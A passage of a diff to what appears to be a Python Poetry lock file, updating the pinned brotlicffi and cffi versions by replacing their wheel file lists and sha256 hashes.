- {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"},
- {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"},
- {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"},
- {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"},
- {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"},
- {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"},
- {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"},
- {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"},
- {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"},
- {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"},
- {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"},
- {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"},
- {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"},
- {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"},
- {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"},
- {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"},
+ {file = "brotlicffi-1.1.0.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9b7ae6bd1a3f0df532b6d67ff674099a96d22bc0948955cb338488c31bfb8851"},
+ {file = "brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:19ffc919fa4fc6ace69286e0a23b3789b4219058313cf9b45625016bf7ff996b"},
+ {file = "brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9feb210d932ffe7798ee62e6145d3a757eb6233aa9a4e7db78dd3690d7755814"},
+ {file = "brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:84763dbdef5dd5c24b75597a77e1b30c66604725707565188ba54bab4f114820"},
+ {file = "brotlicffi-1.1.0.0-cp37-abi3-win32.whl", hash = "sha256:1b12b50e07c3911e1efa3a8971543e7648100713d4e0971b13631cce22c587eb"},
+ {file = "brotlicffi-1.1.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:994a4f0681bb6c6c3b0925530a1926b7a189d878e6e5e38fae8efa47c5d9c613"},
+ {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2e4aeb0bd2540cb91b069dbdd54d458da8c4334ceaf2d25df2f4af576d6766ca"},
+ {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4b7b0033b0d37bb33009fb2fef73310e432e76f688af76c156b3594389d81391"},
+ {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54a07bb2374a1eba8ebb52b6fafffa2afd3c4df85ddd38fcc0511f2bb387c2a8"},
+ {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7901a7dc4b88f1c1475de59ae9be59799db1007b7d059817948d8e4f12e24e35"},
+ {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ce01c7316aebc7fce59da734286148b1d1b9455f89cf2c8a4dfce7d41db55c2d"},
+ {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:246f1d1a90279bb6069de3de8d75a8856e073b8ff0b09dcca18ccc14cec85979"},
+ {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc4bc5d82bc56ebd8b514fb8350cfac4627d6b0743382e46d033976a5f80fab6"},
+ {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:37c26ecb14386a44b118ce36e546ce307f4810bc9598a6e6cb4f7fca725ae7e6"},
+ {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca72968ae4eaf6470498d5c2887073f7efe3b1e7d7ec8be11a06a79cc810e990"},
+ {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:add0de5b9ad9e9aa293c3aa4e9deb2b61e99ad6c1634e01d01d98c03e6a354cc"},
+ {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9b6068e0f3769992d6b622a1cd2e7835eae3cf8d9da123d7f51ca9c1e9c333e5"},
+ {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8557a8559509b61e65083f8782329188a250102372576093c88930c875a69838"},
+ {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2a7ae37e5d79c5bdfb5b4b99f2715a6035e6c5bf538c3746abc8e26694f92f33"},
+ {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:391151ec86bb1c683835980f4816272a87eaddc46bb91cbf44f62228b84d8cca"},
+ {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:2f3711be9290f0453de8eed5275d93d286abe26b08ab4a35d7452caa1fef532f"},
+ {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1a807d760763e398bbf2c6394ae9da5815901aa93ee0a37bca5efe78d4ee3171"},
+ {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa8ca0623b26c94fccc3a1fdd895be1743b838f3917300506d04aa3346fd2a14"},
+ {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3de0cf28a53a3238b252aca9fed1593e9d36c1d116748013339f0949bfc84112"},
+ {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6be5ec0e88a4925c91f3dea2bb0013b3a2accda6f77238f76a34a1ea532a1cb0"},
+ {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:d9eb71bb1085d996244439154387266fd23d6ad37161f6f52f1cd41dd95a3808"},
+ {file = "brotlicffi-1.1.0.0.tar.gz", hash = "sha256:b77827a689905143f87915310b93b273ab17888fd43ef350d4832c4a71083c13"},
]
[package.dependencies]
@@ -343,75 +347,63 @@ files = [
[[package]]
name = "cffi"
-version = "1.15.1"
+version = "1.16.0"
description = "Foreign Function Interface for Python calling C code."
optional = false
-python-versions = "*"
+python-versions = ">=3.8"
files = [
- {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
- {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
- {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
- {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
- {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
- {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
- {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
- {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
- {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
- {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
- {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
- {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
- {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
- {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
- {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
- {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
- {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
- {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
- {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
- {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
- {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
- {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
- {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
- {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
- {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
- {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
- {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
- {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
- {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
- {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
- {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
- {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
- {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
- {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
- {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
- {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
- {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
- {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
- {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
- {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
- {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
- {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
- {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
- {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
- {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
- {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
- {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
- {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
- {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
- {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
- {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
- {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
- {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
- {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
- {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"},
- {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"},
- {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"},
- {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"},
- {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"},
- {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"},
- {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"},
- {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"},
- {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"},
- {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"},
+ {file = "cffi-1.16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088"},
+ {file = "cffi-1.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9"},
+ {file = "cffi-1.16.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673"},
+ {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896"},
+ {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684"},
+ {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7"},
+ {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614"},
+ {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743"},
+ {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d"},
+ {file = "cffi-1.16.0-cp310-cp310-win32.whl", hash = "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a"},
+ {file = "cffi-1.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1"},
+ {file = "cffi-1.16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404"},
+ {file = "cffi-1.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417"},
+ {file = "cffi-1.16.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627"},
+ {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936"},
+ {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d"},
+ {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56"},
+ {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e"},
+ {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc"},
+ {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb"},
+ {file = "cffi-1.16.0-cp311-cp311-win32.whl", hash = "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab"},
+ {file = "cffi-1.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba"},
+ {file = "cffi-1.16.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956"},
+ {file = "cffi-1.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e"},
+ {file = "cffi-1.16.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e"},
+ {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2"},
+ {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357"},
+ {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6"},
+ {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969"},
+ {file = "cffi-1.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520"},
+ {file = "cffi-1.16.0-cp312-cp312-win32.whl", hash = "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b"},
+ {file = "cffi-1.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235"},
+ {file = "cffi-1.16.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc"},
+ {file = "cffi-1.16.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0"},
+ {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b"},
